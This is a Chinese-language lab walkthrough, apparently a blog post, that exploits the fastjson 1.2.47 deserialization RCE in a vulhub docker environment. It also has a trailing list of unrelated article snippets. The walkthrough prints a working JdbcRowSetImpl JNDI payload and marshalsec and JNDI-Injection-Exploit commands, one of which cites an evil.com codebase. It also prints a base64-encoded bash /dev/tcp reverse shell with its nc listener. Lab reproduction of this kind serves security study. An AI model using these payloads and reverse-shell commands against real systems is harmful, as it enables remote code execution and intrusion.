fastjson 1.2.47 远程命令执行漏洞
fastjson 1.2.47 远程命令执行漏洞
文章目录
- fastjson 1.2.47 远程命令执行漏洞
- 1 在线漏洞解读:
- 2 环境搭建
- 3 影响版本:
- 4 漏洞复现
- 4.1 访问页面
- 4.2 bp抓包,修改参数
- 5 使用插件检测漏洞【FastjsonScan】
- 5.1使用説明
- 5.2 使用方法
- 5.2.1 右键菜单中:
- 5.2.2 FastjsonScan扫描结果界面:
- 5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
- 5.2.4 测试使用rmi协议可以通信
- 5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议(LDAP| RMI| CORBA| DNS| NDS| NIS)
- 5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,对其进行漏洞利用,准备反弹shell,先需要构建JNDI服务
- 6 构建一个JNDI服务器
- 6.1 下载工具JNDI协议服务
- 6.2 执行漏洞核心指令
- 7 kali进行下载安裝JNDI服务
- 7.1 目录位置
- 7.2执行
- 7.2.1 执行指令
- 7.2.2 启动后提示连接这几种地址协议
- 7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令
- 8 查看docker容器
- 9 构建反弹shell
- 9.1 反弹shell一句话
- 9.2 使用在线工具转义
- 10 上面指令处理完,反弹shell
- 10. 1 开启监听
- 10.2 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
- 10.3 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
- 10.4 经过多次尝试地址,获取连接到shell
1 在线漏洞解读:
https://vulhub.org/#/environments/fastjson/1.2.47-rce/

2 环境搭建
cd /home/kali/vulhub/fastjson/1.2.47-rce

启动:
sudo docker-compose up -dsudo docker-compose ps -a
sudo docker ps -a
已启动:访问端口8091

3 影响版本:
fastjson<1.2.48
4 漏洞复现
4.1 访问页面
访问页面http://http://192.168.225.166:8091/,返回json字符串

4.2 bp抓包,修改参数
bp进行抓包,转发repeater,将get请求转成post;
修改请求参数为json, 增加json参数进行传参,返回序列化后的参数值.

5 使用插件检测漏洞【FastjsonScan】
https://github.com/Maskhe/FastjsonScan
5.1使用説明
-
下载项目中的FastjsonScan.jar文件

-
在burp的Extender->Extensions栏,点击Add,选择下载好的jar文件就可以了(执行环境是Java)
如果成功安装,会输出如下信息,如果未能成功安装可以换下jdk版本??我用的1.8

5.2 使用方法
使用方法也很简单,就像使用repeater一样,你可以在burp的任何地方选中一个请求右键选择【Send to FastjsonScan】将这个请求发送到Fastjson Scan,然后就只需要等待扫描结束
5.2.1 右键菜单中:

5.2.2 FastjsonScan扫描结果界面:
{"axin":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"is":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://c6juk7iuaimlq6w7ap5jkhrmxd33rs.oastify.com/aaa","autoCommit":true}}

5.2.3 打开dnslog解析地址,获取的地址粘贴到bp的请求参数中看是否请求成功
http://dnslog.cn/ # 获取新的地址 5z5srb.dnslog.cn

5.2.4 测试使用rmi协议可以通信


5.2.5 如不通使用这几种协议尝试, JNDI java的这几种协议(LDAP| RMI| CORBA| DNS| NDS| NIS)
JNDI,Java Nameing and Directory Interface,Java 命令与目录接口,是一组应用程序接口,目的是为了方便查找远程或本地对象。JNDI 典型的应用场景是配置数据源,除此之外,JNDI 还可以访问现有的目录和服务,例如LDAP| RMI| CORBA| DNS| NDS| NIS
5.2.6 dnslog.cn通了,可以请求成功,存在漏洞,对其进行漏洞利用,准备反弹shell,先需要构建JNDI服务
6 构建一个JNDI服务器
6.1 下载工具JNDI协议服务
https://github.com/welk1n/JNDI-Injection-Exploit.git
6.2 执行漏洞核心指令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999-----------------------
Run a JNDI reference redirector service pointing to that codebase - two implementations are included: marshalsec.jndi.LDAPRefServer and RMIRefServer.java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]Use (ldap|rmi)://host:port/obj as the jndiUrl, pointing to that service's listening address.
-----------------------$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]要确保 1099、1389、8180端口可用,不被其他程序占用
7 kali进行下载安裝JNDI服务
7.1 目录位置
┌──(kali💋kali)-[~/tools]
└─$ proxychains git clone https://github.com/welk1n/JNDI-Injection-Exploit.git #编译好tar包目录位置,准备启动JNDI通信服务
┌──(kali💋kali)-[~/tools/java-unserialize/JNDI-Injection-Exploit/target]
└─$ pwd
/home/kali/tools/java-unserialize/JNDI-Injection-Exploit/target
7.2执行
7.2.1 执行指令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "192.168.225.166"

7.2.2 启动后提示连接这几种地址协议
rmi://192.168.225.166:1099/fn3esn
rmi://192.168.225.166:1099/eal10z
ldap://192.168.225.166:1389/eal10z
rmi://192.168.225.166:1099/izbagp
ldap://192.168.225.166:1389/izbagp
7.2.3 bp尝试上面的几种地址连接,连接后查看docker容器是否创建文件指令

8 查看docker容器
sudo docker ps -a
sudo docker exec -it 532 /bin/bash


bp发送请求后已创建文件

9 构建反弹shell
9.1 反弹shell一句话
nc -lvvp 6666 # 开启监听6666端口服务
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1
----------------------------------
bash -i >& /dev/tcp/192.168.225.166/6666 0>&1 转成base64位:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx
----------------------------------
bash -c {echo,base64编码一句话shell}|{base64,-d}|{bash,-i}
--------------
最后组合为
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
----------------------------------输入java指令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"bash -i &> /dev/tcp/192.168.225.166/6666 0<&1 # 反弹交互指令tcp服务
nc -lvp 6666 # l是监听模式;v是显示详细信息;p是指定端口;
9.2 使用在线工具转义
https://ares-x.com/tools/runtime-exec/

10 上面指令处理完,反弹shell
10. 1 开启监听
nc -lvvp 6666

10.2 重新启动 JNDI服务,并将开启shell连接一句话,放到 -C “command”中
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xNjYvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.225.166"

10.3 将扫描到的紫色标记连接地址-替换到下图红框中,进行转发
rmi://192.168.225.166:1099/omyj1u
ldap://192.168.225.166:1389/omyj1u
rmi://192.168.225.166:1099/ibhzk7
rmi://192.168.225.166:1099/dwddl1
ldap://192.168.225.166:1389/dwddl1

10.4 经过多次尝试地址,获取连接到shell

相关文章:
fastjson 1.2.47 远程命令执行漏洞
fastjson 1.2.47 远程命令执行漏洞 文章目录 fastjson 1.2.47 远程命令执行漏洞1 在线漏洞解读:2 环境搭建3 影响版本:4 漏洞复现4.1 访问页面4.2 bp抓包,修改参数 5 使用插件检测漏洞【FastjsonScan】5.1使用説明5.2 使用方法5.2.1 右键菜单中ÿ…...
【k8s 开发排错】k8s组件开发排错之pprof
参考 Kubernetes组件问题排查的一些方法 - 知乎 go 程序性能调优 pprof 的使用 (一) - 润新知 Go进阶系列 之 性能分析神器pprof__好吗_好的的博客-CSDN博客 k8s各组件端口_k8s10259端口-CSDN博客 Go调试神器pprof使用教程【实战分享】_NPE~的博客-C…...
记录一次典型oom的处理过程
背景 有同学反馈收到应用RT的报警,其中的流量都来自于网关集群中的一台机器。因为负责网关,就上去看了下并进行排查。整体是一个比较明显的oom,这里只是记录下排查过程,老司机可以略过了。 初步现象 常规步骤,使用t…...
centos离线安装telnet、traceroute工具
安装包下载地址 安装包下载地址在这里 直接输入包名,筛选系统,根据自己系统版本确定该下哪个包 centos离线安装telnet 准备三个安装包 xinetd-2.3.15-14.el7.x86_64.rpmtelnet-server-0.17-65.el7_8.x86_64.rpmtelnet-0.17-65.el7_8.x86_64.rpm 三个…...
【java学习—七】对象的实例化过程(33)
文章目录 1. 简单类对象的实例化过程2. 子类对象的实例化过程 1. 简单类对象的实例化过程 2. 子类对象的实例化过程...
P4451 [国家集训队] 整数的lqp拆分
传送门:洛谷 解题思路: 考虑设 f ( i ) f(i) f(i)为和为 i i i的拆分权值和,那么我们可以得到一个递推关系式 f ( i ) ∑ i 1 n f ( n − i ) ∗ f i b ( i ) f(i)\sum_{i1}^nf(n-i)*fib(i) f(i)i1∑nf(n−i)∗fib(i)这个表达式的含义就是枚举一个数的值,由于分配率,我们…...
Mysql 日常命令记录
索引操作 加联合组件: ALTER TABLE dws_stock_age_material_transactions_total_pri_rpt_update ADD INDEX index_sio (organization_id(16),item_code,subinventory_code); 查看索引: SHOW INDEX FROM dws_stock_age_material_transactions_detail_…...
可视化上证50结构图
可视化上证50结构图 缘由收集数据先获取50支成分股列表获取各成分股票K线数据 数据处理找出来,再删除,然后重新下载数据最终获得每日报价的变化值 图形结构处理聚类分析使用affinity_propagation(亲和传播)聚类 嵌入二维平面空间可视化小结热力图 缘由 …...
STM32_PID通用算法增量式和位置式
STM32_PID通用算法增量式和位置式 前言: 此算法为入门级PID算法,调试好参数后可应用于温度控制、舵机控制、直流电机的转速控制和直流电机的角度控制等等,下面就以温度控制举例 pid.c #include "pid.h" #include "sensor.h&q…...
Spark的数据输入、数据计算、数据输出
PySpark的编程,主要氛围三大步骤:1)数据输入、2)数据处理计算、3)数据输出 1)数据输入:通过SparkContext对象,晚上数据输入 2)数据处理计算:输入数据后得到RDD对象,对RDD…...
Windows端口号被占用的查看方法及解决办法
Windows端口号被占用的查看方法及解决办法 Error starting ApplicationContext. To display the conditions report re-run your application with debug enabled. 2023-10-14 22:58:32.069 ERROR 6488 --- [ main] o.s.b.d.LoggingFailureAnalysisReporter : ***…...
Web3 整理React项目 导入Web3 并获取区块链信息
上文 WEB3 创建React前端Dapp环境并整合solidity项目,融合项目结构便捷前端拿取合约 Abi 我们用react 创建了一个 dapp 项目 并将前后端代码做了个整合 那么 我们就来好好整理一下 我们的前端react的项目结构 我们在 src 目录下创建一个 components 用来存放我们的…...
基于SpringBoot的旅游网站开题报告
一、选题背景 随着旅游业的蓬勃发展和人们对旅游需求的增长,开发一个基于Spring Boot的旅游网站具有重要的意义。传统的旅行社模式逐渐不能满足人们个性化、多样化的旅游需求,因此开发一个在线旅游网站能够为用户提供更加便捷、灵活、个性化的旅游服务&…...
基于SSM的班级事务管理系统
基于SSM的班级事务管理系统 开发语言:Java数据库:MySQL技术:SpringSpringMVCMyBatisVue工具:IDEA/Ecilpse、Navicat、Maven 系统展示 前台界面 登录界面 班委界面 学生界面 管理员界面 摘要 基于SSM(Spring、Spring…...
基于Spring Boot开发的汽车租赁管理系统
文章目录 项目介绍主要功能截图:后台前台部分代码展示设计总结项目获取方式🍅 作者主页:超级无敌暴龙战士塔塔开 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题库【关注我,都给你】 🍅文末获取源码联系🍅 项目介绍 基于Spring Boot开发的汽车租赁…...
精品基于django的高校竞赛比赛管理系统Python
《[含文档PPT源码等]精品基于django的高校竞赛管理系统》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程等! 软件开发环境及开发工具: 开发语言:python 使用框架:Django 前端技术:JavaScri…...
RustDay04------Exercise[01-10]
1.做题须知 这一题告诉我们可以尝试修改下面的输出,在觉得OK之后删除// I AM NOT DONE注释即可进入下一题 // intro1.rs // About this I AM NOT DONE thing: // We sometimes encourage you to keep trying things on a given exercise, even // after you already figured …...
ARM day9
src/key_it.c #include "key_it.h" #include "led.h" void key_it_config() {//RCC使能GPIOF时钟RCC->MP_AHB4ENSETR | (0x1<<5);//设置PF9 PF7 PF8GPIO输入//PF9GPIOF->MODER & (~(0x3<<18));//PF8GPIOF->MODER & (~(0x3&l…...
【TensorFlow2 之013】TensorFlow-Lite
一、说明 在这篇文章中,我们将展示如何构建计算机视觉模型并准备将其部署在移动和嵌入式设备上。有了这些知识,您就可以真正将脚本部署到日常使用或移动应用程序中。 教程概述: 介绍在 TensorFlow 中构建模型将模型转换为 TensorFlow Lite训练…...
Java基础--阳光总在风雨后,请相信彩虹
1、今日任务 JAVA SE-韩顺平视频教程–30p以上(今天得50p以上因为是基础)计算机基础八股记忆总结刷题(两题)可以先用python 1、SSM ssm->Spring(轻量级的文本开发框架)/SpringMVC(分层的w…...
抖音下载器:从零开始,轻松获取无水印视频的完整指南
抖音下载器:从零开始,轻松获取无水印视频的完整指南 【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallb…...
python基于flask的学生学业质量成绩分析系统演可视化大屏 大数据
目录同行可拿货,招校园代理 ,本人源头供货商功能模块分析可视化大屏设计大数据处理架构预警与决策支持技术实现要点项目技术支持源码获取详细视频演示 :文章底部获取博主联系方式!同行可合作同行可拿货,招校园代理 ,本人源头供货商 功能模块分析 数据采…...
雪花算法替代MurmurHash后的提升(短链接项目中的唯一性设计)
短链接服务的核心功能,是将一个长网址(比如几百个字符的 URL)转换成一个短码,用户访问短码时,服务端会将其重定向回原始的长链接。 考虑到快速生成(防止高并发下,性能变差)和长变短的…...
Python大麦网智能抢票脚本:三分钟搭建你的自动购票系统
Python大麦网智能抢票脚本:三分钟搭建你的自动购票系统 【免费下载链接】Automatic_ticket_purchase 大麦网抢票脚本 项目地址: https://gitcode.com/GitHub_Trending/au/Automatic_ticket_purchase 还在为抢不到心仪的演唱会门票而烦恼吗?每次开…...
QQ空间记忆备份终极指南:3步永久保存你的数字青春
QQ空间记忆备份终极指南:3步永久保存你的数字青春 【免费下载链接】GetQzonehistory 获取QQ空间发布的历史说说 项目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否担心那些珍贵的QQ空间说说会随着时间消失?那些记录着青春…...
基于PostGIS与SpringBoot构建高性能动态MVT矢量瓦片服务
1. 为什么需要动态矢量瓦片服务 第一次接触矢量瓦片是在2018年做智慧城市项目时,当时前端同事抱怨加载行政区划数据太慢。一个省级行政区划的GeoJSON文件大小超过10MB,每次打开网页都要等半天。后来尝试了Mapbox的矢量瓦片方案,加载速度直接提…...
ESP-IDF嵌入式类型工具:轻量级字节与位操作库
1. 项目概述 esp_type_utils 是面向 ESP-IDF 生态的轻量级类型工具组件,专为嵌入式底层开发中高频出现的字节级数据操作与字符串格式化需求而设计。它并非 ESP-IDF 官方 SDK 的一部分,而是由开发者 Eric Gionet(K0I05)维护的开源…...
[实战] 从点云到避障:FIESTA ESDF实时构建全解析
1. 为什么需要实时ESDF构建 当机器人需要在复杂环境中自主移动时,避障是最基础也最关键的能力。想象一下你在黑暗中摸索前行,手碰到墙壁就立即缩回——机器人也需要类似的"触觉"。欧氏距离场(ESDF)就是机器人的三维空间…...
Sora全面下线,AI界背后的商业逻辑是什么?
你敢相信吗?那个曾以一己之力震撼全球影视圈、让无数视频创作者彻夜难眠、被视为AI视频生成之王的Sora,被它的亲生父母OpenAI,亲手按下了停止键。一觉醒来,没有降级,没有合并,Sora独立App的API接口直接下线…...
如何高效解决Windows驱动存储臃肿问题?DriverStore Explorer带来75-90%的空间释放效率提升
如何高效解决Windows驱动存储臃肿问题?DriverStore Explorer带来75-90%的空间释放效率提升 【免费下载链接】DriverStoreExplorer Driver Store Explorer [RAPR] 项目地址: https://gitcode.com/gh_mirrors/dr/DriverStoreExplorer Windows系统随着使用时间增…...
